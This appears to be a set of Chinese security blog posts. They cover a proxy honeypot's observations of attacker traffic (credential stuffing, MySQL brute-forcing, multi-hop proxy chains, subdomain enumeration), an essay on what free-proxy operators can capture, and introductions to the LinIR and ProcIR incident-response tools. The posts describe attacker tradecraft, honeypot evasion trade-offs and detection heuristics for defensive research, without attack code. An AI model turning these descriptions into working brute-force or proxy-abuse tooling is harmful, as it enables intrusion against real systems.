后面几名（suzukatsu.com、bobilreiser.no、marketingevendite.it……）的泄露量都是 20 上下，且 unique_users 基本等于 leaks，这是"每个账号只登过一次"的 fresh 提交模式，更像普通用户或者小规模撞库命中。

5.5 高价值目标 host：金融、加密货币、云、政府

图：关键词过滤 bank/pay/wallet/crypto/exchange/binance/coinbase/metamask/gov/aws/azure/aliyun/tencentcloud 等

给 SQL 加一堆 host ILIKE 关键字，把和支付、加密货币、交易所、云、政府有关的目标专门拉出来。结果出现了几个值得盯的：

•pay.tbibank.bg：保加利亚 TBI Bank 的支付接口，4.6 万次访问，4 个独立 IP，上行 140MB。这种量级的上行不像是爬，像是在自动化测试支付表单或者拿着卡头批量试扣款。

•pay.ktusa.to：域名就可疑（.to 后缀常见于灰色支付通道），1.35 万次访问。

•catexchange.ru、crypto-sparen.com、coldexchanger.com、m.freewallet.org、auth.expo2025-wallet.com：一整条加密货币服务路径——交易所 + 冷钱包 + 热钱包 + 事件相关钓鱼域名（expo2025 是在蹭大阪世博会热度）。

•checkip.amazonaws.com：11,239 次，45 个独立 IP。这是所有工具都爱用的"查自己出口 IP"的接口，量大说明很多攻击链路会在每次动作前先校验出口干净。

•ajax.googleapis.com 上面出现了 232 个独立 IP——这个是注入框架依赖 jQuery 的常见行为，反映出大量基于 jQuery 的扫描/注入工具在跑。

•*.gov.my、*.gov.br、staffs.sch.uk——马来西亚政府域、巴西小政府域、英国学校域都出现了几次，量不大但定向性很强。

5.6 数据库端口穿透

图：port IN (3306, 5432, 1433, 27017, 6379, 9200, 11211) 的 CONNECT 隧道

把 CONNECT 目标的端口限定为数据库端口（MySQL/PostgreSQL/MSSQL/Mongo/Redis/Elasticsearch/Memcached）之后，立刻就看到了一个"专业户"：54.37.252.234。这个 IP 在短时间内用我们代理连了几十个 3306 目标，每个目标几百到上千次，节奏很稳——这不是在探测"是否开放"，是在对已知开放的 MySQL 做暴力登录。107.173.18.15 单挑 185.126.183.116:3306 1,463 次也是同一个套路。79.127.175.75 同时在 3306 和 5432 上打同一批目标，说明工具支持两种协议。

值得注意的是 Redis（6379）、Mongo（27017）、Elasticsearch（9200）这几个端口的活跃度远低于 MySQL。一个合理解释是：6379/27017/9200 这些服务本身大多放在内网，而 3306 在中小企业里直接暴露公网的比例还很高，对攻击者来说性价比最好。

六、海外对大陆的威胁观察

节点都在海外，所以这个视角其实非常关键：我们能看到海外攻击者（或挂了海外代理的攻击者）在"打进大陆"之前的那一跳。三个子维度：顶级域访问、宽面 SNI 扫描、针对金融行业。

6.1 访问中国国家/地区顶级域

图：SNI 命中 .cn / .com.cn / .net.cn / .org.cn

这几个目标很可疑：xwkf.zidikm.cn、wwa.qzdwlm.cn、fe.dtyuedan.cn——域名都是随机字符串的短拼音，TLD 是 .cn，但任何正常业务都不会用这种域名。更重要的是 down_bytes：xwkf.zidikm.cn 下行 630MB，query.zidikm.cn 下行 288MB。下行流量远大于上行，说明代理这头在"拉取"内容——典型的数据窃取或者配置下发通道。www.gov.cn 这个出现 63 次、1 个独立 IP 的记录量虽然小，但访问源只有一个 IP 反复触达，属于定向探测。

6.2 对国内主流服务的 SNI 扫描

图：SNI 命中 .cn、alibaba、tencent、baidu、huawei、bytedance、weixin、jd、taobao 的源 IP 排行

这张图说的是：单一攻击者在一次会话里，触碰了多少个中国主流服务的子域。172.96.14.120 在短时间内触达了 511 个不同的中国目标 SNI，sample_targets 几乎全是 360.cn、huawei.com、ucloud.cn 的子域，而且子域前缀是随机字符串（sabhlsxzkmfkdrip.ucloud.cn、huyumesciruqwdo.360.cn……）——这是标准的 CDN / WAF 侧面枚举（subdomain enumeration），通过 DNS Wildcard 命中和随机子域探测来反推 CDN 背后真实 IP 的一种手段。64.94.95.226、109.238.10.141 的模式完全相同，说明不是孤例。

6.3 针对国内金融/证券/虚拟货币

图：SNI 命中 eastmoney/10jqka/jrj/cninfo/sse/szse/chinabond/citics 等金融域

quote.eastmoney.com、push2his.eastmoney.com、push2.eastmoney.com、40.push2.eastmoney.com、40.push2delay.eastmoney.com——这几个都是东方财富网的实时行情 WebSocket/推送接口。攻击者通过我们的代理在高频拉取这些接口数据。basic.10jqka.com.cn 是同花顺的数据接口。这些目标组合在一起，指向的用途很明确：行情数据 scraping，喂给量化策略或者做信息套利。这类行为在法律上有争议，但从威胁情报角度看是"低烈度但高频率"的对国内金融业的数据抓取压力。

七、综合分析：出海黑产的日常画像

7.1 反向出网：代理不是去外网，是"回国内人出海"

图：SNI 命中 Google、Facebook、Instagram、YouTube、Twitter、Telegram、Discord、Whatsapp、Reddit 等

一个常被忽略的观察：把流量 SNI 限定为被墙的主流境外服务，会发现这部分流量的量级非常大——i.instagram.com 7.5 万次、www.instagram.com 7.4 万次、www.google.com 4 万次、chromewebstore.google.com 1.3 万次、youtube.com 超过 18GB 下行。这些流量不是"攻击"，但它们的使用者很大概率是国内用户在用我们的代理去"反向出网"。

另外几个 SNI 也很有意思：cabinet.aironeox.com、api.galaxy.orionx.com、developer.x.com、query-x.com——这些是加密货币交易所和 X 开发者平台的 API，上下行都以 GB 为单位，属于 API 密集型调用，可能是在自动化交易或者在做 X API 抓推文。

7.2 AI 服务访问：新一代生产工具已经进入黑产工具链

图：对 OpenAI / Anthropic / Google AI / Perplexity / HuggingFace 相关域的访问排行

这一张图值得单独拎出来讲。五天之内，通过我们代理访问 chatgpt.com 的次数 14,856 次，上下行合计 6.22GB；ws.chatgpt.com（WebSocket）4,591 次、2.62GB；claude.ai 2,842 次、1.67GB；gemini.google.com 1,825 次。这个数据透露出三件事：

•AI 服务已经深度嵌入黑灰产工作流——不只是 API，连 web 端的 chatgpt.com 都在被高频使用，说明这是"人在操作"而不是纯自动化。

•大量访问走的是 web 版而不是 API 版——这多半是因为被封号后换号成本低，或者他们本身就没有付费账号，在用免费层。

•能在代理里看到 AI 请求本身，也意味着攻击者"自己被看"。以后安全团队完全可以通过这类数据反向刻画攻击者的工作习惯（生成时间、提问频率、在哪些任务上用 AI）。

7.3 代码托管与开发工具

图：SNI 命中 github / gitlab / bitbucket / docker / npm / pypi / stackoverflow

github.com 192 次、15 个独立 IP，api.github.com 22 次，raw.githubusercontent.com 20 次——量不大，但 raw 内容请求这个动作特别值得关注，因为它通常对应"从 GitHub 拉取恶意脚本 / 配置文件"的行为（比如 raw.githubusercontent.com/xxx/xxx/main/config.json 这种路径在 Stealer、挖矿脚本里非常常见）。release-assets.githubusercontent.com 出现 3 次，对应的是直接下载 GitHub Release 产物——攻击者从 GitHub 上拉打包好的恶意工具。

stackoverflow 出现 11 次——纯靠这个数据说不了什么，但可以看出攻击者确实会在操作过程中搜问题；配合前面的 AI 访问数据，能拼出一个"用户在工作时开着 ChatGPT 和 Stack Overflow"的画像。

7.4 多级代理：代理里面还是代理

图：CONNECT 目标端口是常见代理端口（1080/8080/3128/8443/9050/10808…）的情况

这张图能清楚看到"多层代理"这件事。我们自己的节点（80.75.212.63 等）向 92.242.166.215:8080 发起了几十万次 CONNECT——也就是说，有人把我们的蜜罐接进了一个代理池，然后把我们当作中转再转发到下一跳 92.242.166.215:8080。93.123.85.39 通过我们打到 [::ffff:45.13.239.151]:8080——IPv4-mapped IPv6 地址说明上游客户端是一个支持双栈的 Go 程序。54.37.252.234 就是前面讲过的 MySQL 暴破专业户，这里又出现在 8080、3128、1080 上——它的流量链是"攻击者 → 自己租的 VPS（54.37.252.234）→ 免费代理（我们的蜜罐）→ 一批 8080 代理 → 真正的 3306 目标"。攻击者至少做了 4 跳代理来混淆。

这个对威胁狩猎非常重要：当你在自己网段的日志里看到一个海外 IP 访问你的 MySQL，实际的攻击者可能在 4 跳代理之外；常规的 IP 黑名单几乎没用，真正有效的是行为特征（同样的登录序列、同样的工具指纹、同样的节奏）。

八、从威胁狩猎视角做一次总结

如果把上面这些观察折叠到威胁狩猎（Threat Hunting）的语境里，大致能抽出下面这些可落地的 Hunting 思路。每一条都可以在企业日志里写成对应的检测规则。

（1）以"代理行为"本身作为 IOC

传统 IOC 是 IP / 域名 / 文件哈希。但免费代理的 IP 几乎每小时都在变，用 IP 当 IOC 效率太低。更稳定的特征是"代理行为"：同一个 SIP 在短时间内触达大量不同的 dst Host、请求的 Host 和 TLS SNI 不一致、CONNECT 目标是常见代理端口（1080/8080/3128/10808）、User-Agent 是 Go-http-client 或 python-socks 但访问的是 Web 业务域。这些行为组合起来比单个 IOC 稳定得多。

（2）针对 WordPress 黑产的专项监控

这个数据告诉我们，如果你的防御资产里有 WordPress 站，POST /wp-comments-post.php 这个接口长期会被大量 Gmail 账号刷。规则可以写成：同一 IP/UA 在 10 分钟内对 /wp-comments-post.php 的 POST 超过 3 次 → 直接返回 403 或者掉进 tar pit。更彻底的做法是把 wp-comments-post.php 直接换成一个其他路径，或者引入一个轻量 PoW。

（3）撞库特征：魔法数字 3

绝大多数"万能库"验证的默认策略是每组 (user, pass) 重试 3 次。如果你在登录日志里看到同一个账号在不同 IP 上恰好失败 3 次就不再出现，这几乎 100% 是撞库检测的踪迹——账号密码已经进了某个库里，只是这轮没命中。运营侧可以据此推送"强制改密"。

（4）MySQL 公网暴露 = 头号风险

在我们看到的所有数据库爆破里，3306 占绝对主力。任何把 MySQL 直接暴露在公网的业务系统，都应当假设其正在被至少一个黑产工具链瞄准。Hunting 规则：在公网接口上收 3306 的入向 SYN，配合 mysql_native_password 的 Handshake 特征做计数，短时间内超过阈值的源一定是自动化。

（5）CDN 后源 IP 的反查压力

这次看到大量针对 *.huawei.com、*.ucloud.cn、*.360.cn 的随机子域枚举，说明大量 CDN/WAF 服务的"绕过真实 IP"对抗压力仍在增加。Hunting 规则：监控权威 DNS 的 NXDOMAIN 命中率，同一源短时间内大量 NXDOMAIN 通常就是子域爆破。

（6）金融行情类数据的 scraping

东方财富、同花顺这类行情接口的高频抓取现状值得企业自查：WebSocket 连接从同一 IP 保持数十个以上，就已经不是正常用户行为了。

（7）通过代理行为反向画像攻击者

最后一条，也是最有意思的一条：蜜罐记录的 AI 访问、GitHub 访问、Stack Overflow 访问，其实是在记录"攻击者的工作生活"。一个攻击者在早上 9 点开始登 ChatGPT、中午去 GitHub 下载工具、下午开始扫 MySQL、晚上跑撞库——这个时间轴本身就是一个极强的指纹。两个表面上完全无关的攻击活动，如果工作时间轴高度重合、用的 AI 帐号都是同一批、拉取的 Github Repo 都相同——基本可以判定是同一拨人。

九、后续可拓展方向

项目现在跑了五天，已经有一些有意思的洞察，但数据体量和视角都还不够。后面能继续做的事情主要有以下几个方向。

9.1 节点与地理覆盖

目前七个节点都在海外，缺少国内、缺少中东、缺少南美视角。如果能在合规的前提下把节点扩到 20+ 个地区，尤其是补齐东南亚、俄语区、中东，会看到一些目前看不到的攻击人群（比如俄语区黑产习惯走国内云服务，中东对中国制造企业的定向扫描）。

9.2 TLS 指纹与客户端识别

当前只解析了 SNI，还没把 JA3/JA4 指纹做进去。接入 JA3/JA4 以后可以直接按指纹聚合"同一个工具的所有 IP"，对追踪工具链的归属非常有用。目前已经能看到 python-socks、Go-http-client 这样的粗粒度分类，如果能细到"某个版本的 sqlmap"、"某个 fork 的 Nuclei"，狩猎精度会上一个台阶。

9.3 对请求体的主动注入实验

后台看板里已经有了 Injection 这个入口——如果把它用起来，可以做一件很有价值的事：对特定类别的出口请求（比如 MySQL 爆破流量、登录撞库流量）注入定制响应或者错误码，反过来观察攻击端的重试策略。这既能拿到工具指纹，也能把工具逼到异常分支把更多特征暴露出来。

9.4 把数据做成情报订阅

蜜罐产出的 IOC 天然有时效性（代理 IP 可能今天是攻击者、明天就干净了），但组合 IOC（IP + UA + JA3 + 行为指纹 + 时段）有相对长的半衰期。可以沿着这个思路把数据加工成 STIX 2.1 格式的情报流，对接到企业的 SIEM / SOAR，给防御方多一层视角。对国内金融行业的那部分数据尤其有情报价值。

9.5 AI 使用画像

上文提到过，AI 访问数据里藏着"攻击者怎么工作"的信号。下一步可以专门做一个 AI 流量画像：按小时粒度聚合 ChatGPT/Claude/Gemini 的访问模式，比对攻击事件的时间分布，尝试做"攻击活动 - AI 辅助"的相关性分析。如果能证明"某个 APT 组织每天下午用 ChatGPT 写漏洞扫描脚本"这样的结论，那就是非常有价值的 TTP 级情报。

9.6 多级代理追溯

目前我们能看到"有人把蜜罐接入了代理池"，但还没有机制去主动 fingerprint 那个代理池本身。一种可行做法是在响应里注入一个唯一标识（cookie、ETag、响应头），观察这个标识出现在哪些其他蜜罐的下一跳里，从而把整个代理网络的拓扑画出来。

十、最后几句话

免费代理是攻击者成本最低的那一层基础设施——它便宜、匿名、随用随扔。但反过来，它也是防御方观察攻击者最"干净"的那一层：攻击者为了追求匿名，反而把自己的工具链、节奏、账号池、目标列表一股脑儿地暴露在了代理这一跳。五天、七个节点、三千八百万事件，其实只是起了个头——如果把这个观察窗口稳定拉长到三个月、覆盖更多地区，能看到的东西远不止本文这些。

写这篇文章的初衷也很简单：把那些"只在日志里出现过一次的数字"拼成一张能看懂的画。具体的防御规则和情报怎么用，留给对应场景的同行自己判断。数据就在那里。

— 基于 Proxy Honeypot 的观察笔记

跳转微信打开

一笔经济账

搞渗透的人也得算钱。

商业代理池不便宜。Bright Data 按流量计费，住宅 IP 大概 0.5/IP。一次像样的扫描或爬取任务跑下来，代理成本可能是最大的开支项。

于是有人动了别的心思。

打开 Google 搜 "free proxy list"，free-proxy-list.net、spys.one、hidemy.name 这些站点常年维护着成千上万条免费代理。SOCKS4、SOCKS5、HTTP、HTTPS，各种协议应有尽有。抓下来过滤一遍存活的，挂上去就能用。成本？零。

但问题来了——这些代理是谁架的？为什么免费？

这个问题很多人不会去想。或者想了一下，觉得无所谓——反正是拿来扫描、爆破、薅接口的，代理又不会看到 HTTPS 里的加密内容，能用就行。

这个判断对了一半，也错了一半。

640,600 个代理告诉你的事

2024 年 NDSS（网络与分布式系统安全会议）发表了一篇论文叫 "Free Proxies Unmasked"，研究团队花了 30 个月，从 11 个主流免费代理列表站抓了 640,600 多个代理做纵向分析。

几个关键数据：

• 只有 34.5% 的代理是活的。 超过三分之二要么已经下线，要么根本连不上。免费代理列表的质量远比想象中差。

• 10% 的代理存在明确的恶意行为。 包括往 HTTP 响应里注入 JavaScript、替换页面广告链接、对 HTTPS 连接做 TLS 中间人拦截。

• 5.15% 的内容篡改带有明确恶意意图。 不是简单加个广告，而是注入追踪脚本、窃取表单提交、替换下载链接指向恶意文件。

DataDome 的威胁研究团队给出了一个更夸张的数字：95% 以上通过免费代理的流量本身就是恶意的——换句话说，用免费代理的人和运营免费代理的人，几乎都不是什么正经角色。

GreyNoise 的研究则发现，20.2% 的免费代理 IP 在主动扫描 Log4j 漏洞。

免费代理的生态，大致可以分三类运营者：

第一类，安全研究者和蜜罐运营者。 架一个看起来正常的代理，等人来用，记录一切。你以为你在用代理隐藏自己，实际上你在对着摄像头表演。

第二类，黑产运营者。 目的是注入广告赚钱，或者直接偷你经过代理的凭据和数据。

第三类，配置事故。 某台服务器的 Squid 或 Nginx 没关好，意外变成了开放代理，被人扫到后添加到了免费列表里。

不管哪一类，流经代理的数据都不在你的控制之下。

你以为代理看不到什么？

很多人有一个根深蒂固的误解：HTTPS 流量是加密的，代理只是做转发，看不到内容。

技术上没错。CONNECT 隧道建立之后，TLS 握手直接发生在客户端和目标服务器之间，代理只看到加密的字节流。

但这只是故事的一半。

让我们一层一层拆开，看看代理到底能看到什么。

第一层：你是谁

最基本的——你的源 IP 和端口。是的，你用了代理来隐藏 IP，但你对代理本身暴露了真实地址。如果你的代理链配置有问题（这种情况极其常见），X-Forwarded-For 头会把你的真实 IP 一路带到目标服务器，同时也留给了中间每一跳代理。

连接的时间分布也是信息。一个攻击者如果每天固定在某个时段活跃，结合时区分析，能缩小到国家甚至城市级别。

第二层：你用什么工具

User-Agent 是最直白的指纹。python-requests/2.28.0、Go-http-client/1.1、curl/7.68.0 ——大部分自动化工具懒得改 UA，或者改了一个一眼假的。

但更有意思的是 TLS 指纹。即使是 HTTPS 连接，客户端发送的 TLS ClientHello 消息是明文的——它在加密通道建立之前发出。这条消息包含客户端支持的 TLS 版本、密码套件列表、扩展列表、ALPN 协议。把这些组合起来就是 JA3/JA4 指纹，能精确到区分不同版本的 Python requests、不同编译参数的 Go 二进制、甚至特定版本的恶意软件。

代理不需要解密任何东西，只要在 CONNECT 握手后 peek 一下 ClientHello 的前 1500 字节，这些信息就全到手了。

第三层：你在打谁

HTTP 代理请求暴露完整的 URL——域名、路径、查询参数，一览无余。

HTTPS 呢？虽然看不到路径和参数，但 TLS ClientHello 里有一个叫 SNI（Server Name Indication） 的字段，明文携带目标域名。客户端发给 api.target.com:443 的 CONNECT 请求，配合 SNI 解析，代理能精确知道攻击者在连哪个域名。

打个比方：HTTPS 像密封的信件，代理看不到信的内容，但信封上收件人的名字写得清清楚楚。

一段时间的 SNI 日志积累下来，攻击者的目标清单就摆在桌上了。哪些是扫描器在批量探测，哪些是针对特定目标的定向渗透，模式一目了然。

第四层：你的武器

HTTP 模式下，请求体是完全透明的。POST 到某个 URL 的 payload——SQL 注入语句、WebShell 上传、漏洞利用代码——全部被原样记录。

对这些 payload 做 SHA256 哈希，还能跨时间、跨节点关联：同一个哈希在三个不同蜜罐节点上出现，大概率是同一轮自动化扫描的不同出口。请求频率和目标分布能区分出机器扫描和人工渗透——前者快而广，后者慢而深。

第五层：你的秘密

这是最致命的一层。

很多攻击者通过代理访问自己的基础设施——C2 面板、API 接口、云服务。这些请求里带着 Authorization 头（Bearer token、Basic auth 的 base64 编码）、URL 里的 API Key、Cookie 里的 session token。

HTTP 代理能看到全部明文。HTTPS 代理虽然看不到加密内容，但如果攻击者不慎用 HTTP 而非 HTTPS 访问了某个管理面板（这种事比你想象的常见），凭据就直接暴露了。

在蜜罐日志里看到过：用免费代理访问某云服务商 API 带着 Authorization: Bearer sk-live-xxxx 的。攻击者省了代理的钱，把 API Key 送了出去。

设计哲学，不是技术细节

做代理蜜罐有几个关键的设计取舍，比代码本身更值得说。

为什么不做 MITM？

做 TLS 中间人拦截当然能看到更多——完整的 HTTPS 请求和响应。但代价是：需要生成伪造证书，客户端可能会验证证书链，一旦验证失败，攻击者就知道这个代理有问题。对于蜜罐来说，不被识别比多看一点内容更重要。SNI + TLS 指纹已经提供了足够的情报价值，不值得为了看 HTTPS body 而冒暴露的风险。

为什么宁可丢日志也不能变慢？

代理的响应延迟是最容易被检测的指标。攻击者通常会先测一遍代理的延迟和稳定性，太慢的直接淘汰。蜜罐的日志系统如果用同步写入，一次磁盘 IO 卡顿就会让代理响应变慢，在筛选阶段就被踢掉。所以用 channel 做异步写入，channel 满了就丢事件——丢几条日志是可以接受的，暴露蜜罐身份不行。

为什么 SNI 窥探要 replay？

代理在 CONNECT 隧道建立后，需要从客户端读取 ClientHello 来提取 SNI。但读完之后这些字节不能丢——它们是 TLS 握手的一部分，必须原封不动地转发给目标服务器。做法是 peek 之后把读到的字节拼接到转发流的最前面，目标服务器收到的数据流和没有蜜罐时完全一致。

这几个取舍的共同逻辑是：蜜罐的首要目标是活得久，而不是抓得多。 一个活了三个月的蜜罐的情报价值，远超一个活了三天就被识别拉黑的。

这不是单向收割

攻击者也在进化。

成熟的攻击团队会对代理做一轮筛选：连通性、延迟、是否篡改响应内容、IP 是否在黑名单中、是否在已知的蜜罐列表上。有些还会发特定的 canary 请求来检测代理是否在记录和回放流量。

技术层面，ECH（Encrypted Client Hello） 正在逐步部署。这个 TLS 扩展把 ClientHello 中的 SNI 也加密了，直接封堵了最有价值的被动情报来源。Cloudflare 已经在大规模推 ECH，等 ECH 普及之后，代理蜜罐通过 SNI 窥探目标域名的窗口会关闭。

这就是为什么现在做这件事是有时间窗口的。

高级攻击者会转向付费的住宅代理服务——这些服务通过 SDK 嵌入到普通用户的 APP 里，把真实用户的设备变成代理出口，IP 干净、行为正常、很难被识别。但关键是：这要花钱。

回到那笔账

安全领域有一个经典框架：防御的目标不是让攻击变得不可能，而是让攻击变得不经济。

代理蜜罐不需要阻止任何攻击，甚至不需要被攻击者使用很多次。它的价值在于污染信任。当圈子里传开 "免费代理不安全，用了可能被反溯源"，就会有一部分人从免费代理迁移到付费代理。

付费代理意味着成本。成本意味着门槛。门槛意味着一部分攻击者出局，或者降低攻击频率。

这才是代理蜜罐的真正战略价值——不在于抓到了谁，而在于让"省钱"这件事变得不安全。

在攻防的世界里，每一次"免费"都标好了价格。只是有些人付的是钱，有些人付的是自己。

跳转微信打开

当你登上一台可能已被入侵的服务器，你敢相信上面的 ps、netstat、ss 吗？

当你登上一台可能已被入侵的服务器，你敢相信上面的 ps、netstat、ss 吗？

一、问题：你以为在取证，其实在被骗

应急响应的第一步通常是"看看机器上在跑什么"。大多数人的第一反应是：

ps aux
netstat -tnlp
ss -tnp
crontab -l
systemctl list-units

这些命令在 99% 的日常运维场景里完全够用。但在应急响应场景下——你面对的可能是一台已经被 rootkit 接管的主机。

问题来了：

• ps 可以被替换成一个过滤掉恶意进程的二进制

• netstat/ss 可以通过 LD_PRELOAD 劫持 libc 来隐藏连接

• crontab -l 如果被 hook，可能根本不显示攻击者写入的定时任务

• systemctl 通过 D-Bus 通信，中间环节太多，任何一层都可能被污染

• 就连你的 PATH 本身都可能指向一个 /tmp/.hidden/bin/ 目录

传统的应急响应工具——无论是手工命令行还是自动化脚本——几乎都默认信任了目标系统的用户态工具链。

这就是 LinIR 要解决的核心问题。

二、LinIR 是什么

LinIR（Linux Incident Response）是一个面向 Linux 和 macOS 的单二进制取证分诊工具。它的设计出发点只有一个：

不信任目标主机上的任何命令。

它不调用 ps，而是直接读 /proc/<pid>/stat、/proc/<pid>/exe、/proc/<pid>/cmdline。

它不调用 netstat/ss，而是直接解析 /proc/net/tcp、/proc/net/tcp6，再通过遍历 /proc/<pid>/fd/ 的 socket inode 来关联 PID。

它不调用 systemctl，而是直接解析 systemd unit 文件的 ExecStart、Environment、WantedBy 字段。

它不调用 crontab，而是直接扫描 /etc/crontab、/etc/cron.d/、/var/spool/cron/ 下的原始文件。

它不调用 lsof，而是自己构建 inode → PID 映射表。

在 macOS 上也一样：不调用 launchctl、lsof、nettop，而是使用 sysctl、proc_pidinfo、proc_pidfdinfo 等 syscall 级接口。

整个工具从采集到分析到评分，零外部命令依赖。CGO_ENABLED=0 静态编译，单文件拖到目标机就能跑。

三、与传统工具/方案的对比

和手工命令行对比

和自动化脚本（GScan、LinPEAS 等）对比

和 EDR/商业方案对比

LinIR 不是 EDR 的替代品。 它更像是应急响应人员的"一次性手术刀"——拖上去、扎一刀、取证据、撤走。不需要安装，不需要配置，不需要联网。

四、核心功能

一次性采集

一条命令完成全套采集：

sudo ./linir collect --yara-rules /opt/rules/ --bundle

自动执行：自检 → 环境预检 → 进程枚举 → 网络采集 → 持久化扫描 → 完整性检查 → 跨域关联 → YARA 扫描 → 证据评分 → 输出（JSON + 文本 + CSV + tar.gz）。

IOC 在线监控

sudo ./linir watch --iocs ./iocs.txt

持续监控主机网络连接，与 IOC 列表实时比对。三层监控架构：

• 层 1：Linux conntrack netlink / macOS BPF 事件驱动（零遗漏）

• 层 2：/proc/net/nf_conntrack 轮询（RST 连接保留 ~10s）

• 层 3：/proc/net/tcp 轮询（通用回退）

命中后自动补采进程上下文、二进制哈希、持久化关联、YARA 扫描，形成结构化、带评分的命中事件。

Web 仪表盘

sudo ./linir gui

暗色主题的交互式仪表盘，支持一键采集、风险评分可视化、进程/网络/持久化表格搜索过滤、IOC 实时监控（SSE 事件流）、YARA 扫描。全部通过 go:embed 打包到二进制中，无额外文件。

评分体系

不是简单的"有就报"，而是单点低分 + 组合高分 + confidence 分离：

• /tmp 下有个可执行文件？仅 +10 分（可能是安装器解包）

• 但如果它还在联网、还关联了持久化、还命中了 YARA？那就是 +10 +10 +10 +20 +10（combo）= 60 分，severity: high

• 父进程是 apt-get？分值自动减半（suppress 机制）

• 主机可信度 low？不直接堆分，而是降低 confidence 并记录到 integrity_flags

这样干净系统趋近 0 分，真实威胁才会拉高分数。

五、诚实说不足

IOC 监控的 PID 归属问题

这是目前最大的已知限制，也是花了最多时间解决的问题。

Linux 的 /proc 文件系统有一个根本性特点：进程退出后，它在 /proc 下的所有信息立即消失。 这意味着如果一个进程（比如 curl）发起了一个 HTTP 请求然后退出，从网络层看到连接的时候，进程可能已经不存在了——你知道有个连接去了恶意 IP，但你不知道是谁发起的。

LinIR 的应对策略是多层的：

1. conntrack 事件驱动：在 SYN 阶段就捕获事件（此时进程还在）

2. 快速定向查找：不做全量 /proc 扫描，而是针对性地找 inode → PID（~10-50ms）

3. 多次重试：在 socket FD 消失前抢时间

4. pending 队列：抓不到就等下一次轮询补全

5. 进程名回退：即使进程退出了，之前从 /proc/<pid>/comm 采到的名字还在

但对于极短命进程（< 100ms），PID 归属成功率确实不是 100%。这不是代码 bug，而是 Linux /proc 的设计使然——ss -tnp 也有同样的问题。完美解决需要 eBPF，但那会引入内核版本依赖，与 LinIR 的"零依赖"原则冲突。

当前策略：事件不丢，PID 尽量补。 补不到的标记为 pid_resolve_state: unresolved，不影响事件本身的存在性。

macOS 的能力边界

macOS 没有 /proc，没有 conntrack，SIP 会限制某些 proc_pidfdinfo 调用。当前通过 /dev/bpf 抓包 + proc_pidfdinfo 快照来工作，但：

• BPF 只能看到经过网卡的包，回环接口需要额外处理

• UDP IOC 监控刚加入（之前只有 TCP SYN）

• sysctl pcblist_n 的 PID 提取依赖结构体偏移，Apple 换版本可能失效

评分的局限

评分是"基于规则的加权模型"，不是机器学习。它能覆盖已知的攻击模式和异常模式，但：

• 无法识别全新的、不匹配任何规则的攻击

• 组合规则需要人工设计，不能自动发现新的关联模式

• suppress 机制基于进程名白名单，攻击者如果伪装成 apt-get 就能绕过

不是 EDR，不做持续监控

LinIR 定位是一次性分诊工具。watch 模式虽然可以持续运行，但它不会：

• 自动修复或隔离威胁

• 向云端报告

• 与 SIEM 实时联动

• 自动更新规则

它的定位是给应急响应人员一个快速、可信、结构化的起点。

六、一些设计选择的解释

为什么不用 eBPF？

eBPF 确实是 Linux 上最强大的内核观测工具。但：

• 需要内核版本 >= 4.x（某些功能需要 5.x）

• 需要特定内核配置（CONFIG_BPF、CONFIG_BPF_SYSCALL）

• 需要 BTF 或手动适配不同内核版本

• 违反"单二进制零依赖"的原则

LinIR 选择基于 /proc + netlink + BPF（macOS）的方案，能在几乎所有 Linux 2.6+ 和 macOS 10.15+ 上运行。未来可能作为可选增强引入 eBPF，但不会作为主路径。

为什么用 Go？

• CGO_ENABLED=0 可以完全静态编译

• 交叉编译到 8 个 Linux 架构 + 2 个 macOS 架构只需要 GOOS=xxx GOARCH=xxx go build

• 没有运行时依赖（不需要 libc、不需要 Python、不需要 JVM）

• 并发模型适合同时采集多个数据源

• 二进制大小 ~11MB，可以 scp 到任何目标机

为什么证据优先于结论？

LinIR 不会告诉你"这台机器被黑了"。它会告诉你：

• PID 1234 的 exe 在 /tmp 下（+10）

• 它有到 1.2.3.4:443 的 ESTABLISHED 连接（+10）

• 它关联到一个 crontab 持久化项（+10）

• YARA 规则 "webshell_php" 命中了它的 exe（+20）

• 组合：临时目录+YARA（+10）

总分 60，severity: high，confidence: high。

剩下的判断交给分析人员。工具给证据，人做决策。

七、最后

LinIR 是一个还在持续迭代的项目。目前 v1.0.0 覆盖了应急响应中最核心的几个环节：进程、网络、持久化、完整性、YARA、IOC 监控。

它不完美——PID 归属有竞速问题、macOS 支持有平台限制、评分模型需要持续调优。但它提供了一个在不可信环境下尽量可信的取证起点。

如果你是安全从业者、应急响应人员、或者对 Linux/macOS 内核取证感兴趣的开发者，欢迎试用和反馈。

GitHub： https://github.com/dogadmin/LinIR

MIT License，欢迎 Star、Issue、PR。

本文基于 LinIR v1.0.0，工具仅用于授权的安全评估和应急响应。

跳转微信打开

前言

做应急响应的师傅们应该都有过这种体验：

接到电话，上机排查，然后开始一套组合拳——tasklist、netstat、autoruns、schtasks、wmic、reg query……一个个命令敲完，再逐条比对，光是把"当前系统到底跑了啥"搞清楚，可能半小时就过去了。

更难受的是，很多攻击不是"正在运行"的，它可能是一个定时任务、一个 WMI 订阅、一个白加黑——你用 tasklist 根本看不到，但它就在那等着被触发。

所以我写了 ProcIR。

一个面向安全工程师的 Windows 应急响应排查工具，一次扫描，把进程、持久化、历史痕迹、事件日志、DLL 加载、内存布局全看了，按风险评分排好序，直接告诉你该看哪个。

这个工具解决什么问题

一句话：在应急响应中，用最短时间发现最可疑的东西。

不是杀软，不做查杀。不联网，不上传。不常驻，不监控。

扫一次，看结果，辅助研判。

设计思路：不是单点检测，是多维融合

市面上大部分排查工具的思路是"逐项检查"——看进程列表、看自启动、看网络连接，各看各的，然后人工脑内关联。

ProcIR 的核心设计思路不一样：把所有维度采集到的数据，归一到同一个对象上，做融合评分。

统一对象模型

举个例子，假设 C:\Users\Public\evil.exe 这个文件：

• 在「活跃进程」里，它 PID 是 1234，在跑

• 在「注册表 Run」里，它被写了自启动

• 在「计划任务」里，有个任务指向它

• 在「Prefetch」里，它执行过 3 次

• 在「事件日志」里，4688 记录了它的创建

• 在「DLL 模块」里，它加载了一个同目录的未签名 version.dll

传统工具你得在 6 个不同的地方分别发现这些信息，然后自己拼起来。

ProcIR 的做法是：这 6 条线索全部关联到同一个 ExecutionObject，统一打分：

ExecutionScore (进程评分)     = 47
TriggerScore   (触发器评分)   = 35
ForensicScore  (历史痕迹评分) = 20
EventScore     (事件评分)     = 25
DLLHijackScore (模块评分)     = 65
SynergyBonus   (组合加权)     = 40
─────────────────────────────
FinalScore                    = 232 → Critical

一眼就知道该先看谁。

八个分析维度

1. 运行态：当前谁在跑

枚举所有活跃进程，提取：

• PID / PPID / 进程名 / 完整路径 / 命令行 / 用户 / 启动时间

• 文件 SHA256 / MD5

• 数字签名验证（WinVerifyTrust）

